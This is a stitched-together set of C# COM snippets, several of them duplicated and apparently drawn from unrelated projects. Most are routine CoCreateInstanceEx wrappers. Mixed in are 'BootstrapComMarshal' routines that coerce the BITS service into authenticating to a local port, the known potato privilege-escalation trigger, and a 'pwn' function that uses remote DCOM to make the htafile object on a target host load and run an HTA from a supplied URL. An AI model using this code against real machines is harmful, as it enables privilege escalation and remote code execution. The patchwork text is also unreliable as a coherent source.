public static void BootstrapComMarshal(int port)
{
IStorage stg = ComUtils.CreateStorage();
// Use a known local system service COM server, in this cast BITSv1
Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097");
TestClass c = new TestClass(stg, String.Format("127.0.0.1[{0}]", port));
MULTI_QI[] qis = new MULTI_QI[1];
qis[0].pIID = ComUtils.IID_IUnknownPtr;
qis[0].pItf = null;
qis[0].hr = 0;
//Console.WriteLine("Converting the Data!");
try
{
CoGetInstanceFromIStorage(null, ref clsid,
null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1, qis);
}
catch
{
//Console.WriteLine("Caught it!");
}
//Console.WriteLine("Finished with BootStrap!");
}
private static object CreateInstance(Guid clsid, string hostName)
{
COSERVERINFO coserverInfo = new COSERVERINFO();
GCHandle hClsid = GCHandle.Alloc(IID_IUnknown, GCHandleType.Pinned);
MULTI_QI[] results = new MULTI_QI[1];
results[0].iid = hClsid.AddrOfPinnedObject();
results[0].pItf = null;
results[0].hr = 0;
try
{
// check whether connecting locally or remotely.
uint clsctx = CLSCTX_ALL;
// uint clsctx = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER;
// if (hostName != null && hostName.Length > 0)
// {
// clsctx = CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER;
// }
coserverInfo.pwszName = hostName;
// create an instance.
CoCreateInstanceEx(ref clsid, null, clsctx, ref coserverInfo, 1, results);
}
catch (Exception exc)
{
MessageBox.Show(exc.ToString(), "CreateInstance");
return(null);
}
hClsid.Free(); // 1.0.0.5 10/06/21 Kishimoto Release alloc area
return(results[0].pItf);
}
public void pwn(string target, string htaUrl)
{
try
{
IMoniker moniker;
CreateURLMonikerEx(IntPtr.Zero, htaUrl, out moniker, 0);
MULTI_QI[] mqi = new MULTI_QI[1];
mqi[0].pIID = IID_IUnknownPtr;
COSERVERINFO info = new COSERVERINFO();
info.pwszName = target;
info.dwReserved1 = 0;
info.dwReserved2 = 0;
info.pAuthInfo = IntPtr.Zero;
CoCreateInstanceEx(htafile, null, CLSCTX.CLSCTX_REMOTE_SERVER, info, 1, mqi);
if (mqi[0].hr != 0)
{
Console.WriteLine("Creating htafile COM object failed on target");
return;
}
IPersistMoniker iPersMon = (IPersistMoniker)mqi[0].pItf;
FakeObject fake = new FakeObject(moniker);
iPersMon.Load(0, fake, null, 0);
}
catch (Exception e)
{
Console.WriteLine("Exception: " + e);
}
}
/// <summary>
/// Creates an instance of a COM server.
/// </summary>
public static object CreateInstance(Guid clsid, string hostName, string username, string password, string domain)
{
ServerInfo serverInfo = new ServerInfo();
COSERVERINFO coserverInfo = serverInfo.Allocate(hostName, username, password, domain);
GCHandle hIID = GCHandle.Alloc(IID_IUnknown, GCHandleType.Pinned);
MULTI_QI[] results = new MULTI_QI[1];
results[0].iid = hIID.AddrOfPinnedObject();
results[0].pItf = null;
results[0].hr = 0;
try
{
// check whether connecting locally or remotely.
uint clsctx = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER;
if (!String.IsNullOrEmpty(hostName) && hostName != "localhost")
{
clsctx = CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER;
}
// create an instance.
CoCreateInstanceEx(
ref clsid,
null,
clsctx,
ref coserverInfo,
1,
results);
}
finally
{
if (hIID.IsAllocated)
{
hIID.Free();
}
serverInfo.Deallocate();
}
if (results[0].hr != 0)
{
throw CreateComException(
ResultIds.E_FAIL,
"Could not create COM server '{0}' on host '{1}'. Reason: {2}.",
clsid, hostName,
GetSystemMessage((int)results[0].hr, LOCALE_SYSTEM_DEFAULT));
}
return(results[0].pItf);
}
/// <summary>
/// Creates an instance of a COM server.
/// </summary>
public static object CreateInstance(Guid clsid, string hostName, NetworkCredential credential)
{
ServerInfo serverInfo = new ServerInfo();
COSERVERINFO coserverInfo = serverInfo.Allocate(hostName, null);
GCHandle hIID = GCHandle.Alloc(IID_IUnknown, GCHandleType.Pinned);
MULTI_QI[] results = new MULTI_QI[1];
results[0].iid = hIID.AddrOfPinnedObject();
results[0].pItf = null;
results[0].hr = 0;
try
{
// check whether connecting locally or remotely.
uint clsctx = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER;
if (hostName != null && hostName.Length > 0 && hostName != "localhost")
{
clsctx = CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER;
}
// create an instance.
CoCreateInstanceEx(
ref clsid,
null,
clsctx,
ref coserverInfo,
1,
results);
}
catch (Exception e)
{
throw e;
}
finally
{
if (hIID.IsAllocated)
{
hIID.Free();
}
serverInfo.Deallocate();
}
if (results[0].hr != 0)
{
throw new ExternalException("CoCreateInstanceEx: " + GetSystemMessage((int)results[0].hr));
}
return(results[0].pItf);
}
//
public static void BootstrapComMarshal()
{
IStorage stg = CreateStorage();
Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097");
TestClass c = new TestClass(stg);
MULTI_QI[] qis = new MULTI_QI[1];
qis[0].pIID = GuidToPointer("00000000-0000-0000-C000-000000000046");
qis[0].pItf = null;
qis[0].hr = 0;
CoGetInstanceFromIStorage(null, ref clsid, null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1, qis);
}
/// <summary>
/// Creates an instance of a COM server on the current machine using the current user.
/// </summary>
public static object CreateLocalServer(Guid clsid)
{
COSERVERINFO coserverInfo = new COSERVERINFO();
coserverInfo.pwszName = null;
coserverInfo.pAuthInfo = IntPtr.Zero;
coserverInfo.dwReserved1 = 0;
coserverInfo.dwReserved2 = 0;
GCHandle hIID = GCHandle.Alloc(IID_IUnknown, GCHandleType.Pinned);
MULTI_QI[] results = new MULTI_QI[1];
results[0].iid = hIID.AddrOfPinnedObject();
results[0].pItf = null;
results[0].hr = 0;
try
{
// create an instance.
CoCreateInstanceEx(
ref clsid,
null,
CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER,
ref coserverInfo,
1,
results);
}
finally
{
hIID.Free();
}
if (results[0].hr != 0)
{
throw new ExternalException("CoCreateInstanceEx: 0x{0:X8}" + results[0].hr);
}
return(results[0].pItf);
}
public static object CreateInstance(Guid clsid, string hostName, NetworkCredential credential)
{
ServerInfo info = new ServerInfo();
COSERVERINFO pServerInfo = info.Allocate(hostName, credential);
//pServerInfo.pwszName = "192.168.0.102";
GCHandle handle = GCHandle.Alloc(IID_IUnknown, GCHandleType.Pinned);
MULTI_QI[] pResults = new MULTI_QI[1];
pResults[0].iid = handle.AddrOfPinnedObject();
pResults[0].pItf = null;
pResults[0].hr = 0;
try
{
uint dwClsCtx = 5;
if (((hostName != null) && (hostName.Length > 0)) && (hostName != "localhost"))
{
dwClsCtx = 0x10;
}
// CoCreateInstanceEx()
CoCreateInstanceEx(ref clsid, null, dwClsCtx, ref pServerInfo, 1, pResults);
}
catch (Exception exception)
{
throw exception;
}
finally
{
if (handle.IsAllocated)
{
handle.Free();
}
info.Deallocate();
}
if (pResults[0].hr != 0)
{
throw new ExternalException("CoCreateInstanceEx: " + GetSystemMessage((int)pResults[0].hr));
}
return(pResults[0].pItf);
}
/// <summary>
/// Creates an instance of a COM server.
/// </summary>
public static object CreateInstance1(Guid clsid, string hostName, UserIdentity identity)
{
ServerInfo serverInfo = new ServerInfo();
COSERVERINFO coserverInfo = serverInfo.Allocate(hostName, identity);
GCHandle hIID = GCHandle.Alloc(IID_IUnknown, GCHandleType.Pinned);
MULTI_QI[] results = new MULTI_QI[1];
results[0].iid = hIID.AddrOfPinnedObject();
results[0].pItf = null;
results[0].hr = 0;
try
{
// check whether connecting locally or remotely.
uint clsctx = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER;
if (!String.IsNullOrEmpty(hostName) && hostName != "localhost")
{
clsctx = CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER;
}
// create an instance.
CoCreateInstanceEx(
ref clsid,
null,
clsctx,
ref coserverInfo,
1,
results);
}
finally
{
if (hIID.IsAllocated) hIID.Free();
serverInfo.Deallocate();
}
if (results[0].hr != 0)
{
throw ServiceResultException.Create(
StatusCodes.BadCommunicationError,
"Could not create COM server '{0}' on host '{1}'. Reason: {2}.", clsid, hostName,
GetSystemMessage((int)results[0].hr, LOCALE_SYSTEM_DEFAULT));
}
return results[0].pItf;
}
public IntPtr CreateInstance(CLSCTX dwContext, string server)
{
IntPtr pInterface = IntPtr.Zero;
if (dwContext == CLSCTX.ALL)
{
if (DefaultServerType == COMServerType.InProcServer32)
{
dwContext = CLSCTX.INPROC_SERVER;
}
else if (DefaultServerType == COMServerType.LocalServer32)
{
dwContext = CLSCTX.LOCAL_SERVER;
}
else if (DefaultServerType == COMServerType.InProcHandler32)
{
dwContext = CLSCTX.INPROC_HANDLER;
}
else
{
dwContext = CLSCTX.SERVER;
}
}
Guid iid = COMInterfaceEntry.CreateKnownInterface(COMInterfaceEntry.KnownInterfaces.IUnknown).Iid;
Guid clsid = Clsid;
int hr = 0;
if (server != null)
{
MULTI_QI[] qis = new MULTI_QI[1];
qis[0] = new MULTI_QI(iid);
COSERVERINFO server_info = new COSERVERINFO(server);
try
{
hr = COMUtilities.CoCreateInstanceEx(ref clsid, IntPtr.Zero, dwContext, server_info, 1, qis);
if (hr == 0)
{
hr = qis[0].HResult();
if (hr == 0)
{
pInterface = qis[0].GetObjectPointer();
}
}
}
finally
{
((IDisposable)qis[0]).Dispose();
}
}
else
{
hr = COMUtilities.CoCreateInstance(ref clsid, IntPtr.Zero, dwContext, ref iid, out pInterface);
}
if (hr != 0)
{
Marshal.ThrowExceptionForHR(hr);
}
return(pInterface);
}
/// <summary>
/// Creates an instance of a COM server.
/// </summary>
public static object CreateServer(Guid clsid)
{
COSERVERINFO coserverInfo = new COSERVERINFO();
coserverInfo.pwszName = null;
coserverInfo.pAuthInfo = IntPtr.Zero;
coserverInfo.dwReserved1 = 0;
coserverInfo.dwReserved2 = 0;
GCHandle hIID = GCHandle.Alloc(IID_IUnknown, GCHandleType.Pinned);
MULTI_QI[] results = new MULTI_QI[1];
results[0].iid = hIID.AddrOfPinnedObject();
results[0].pItf = null;
results[0].hr = 0;
try
{
// create an instance.
CoCreateInstanceEx(
ref clsid,
null,
CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER,
ref coserverInfo,
1,
results);
}
finally
{
hIID.Free();
}
if (results[0].hr != 0)
{
throw new ExternalException("CoCreateInstanceEx: 0x{0:X8}" + results[0].hr);
}
return results[0].pItf;
}
public static void BootstrapComMarshal(int port)
{
IStorage stg = ComUtils.CreateStorage();
// Use a known local system service COM server, in this cast BITSv1
Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097");
TestClass c = new TestClass(stg, String.Format("127.0.0.1[{0}]", port));
MULTI_QI[] qis = new MULTI_QI[1];
qis[0].pIID = ComUtils.IID_IUnknownPtr;
qis[0].pItf = null;
qis[0].hr = 0;
//Console.WriteLine("Converting the Data!");
try
{
CoGetInstanceFromIStorage(null, ref clsid,
null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1, qis);
}
catch
{
//Console.WriteLine("Caught it!");
}
//Console.WriteLine("Finished with BootStrap!");
}
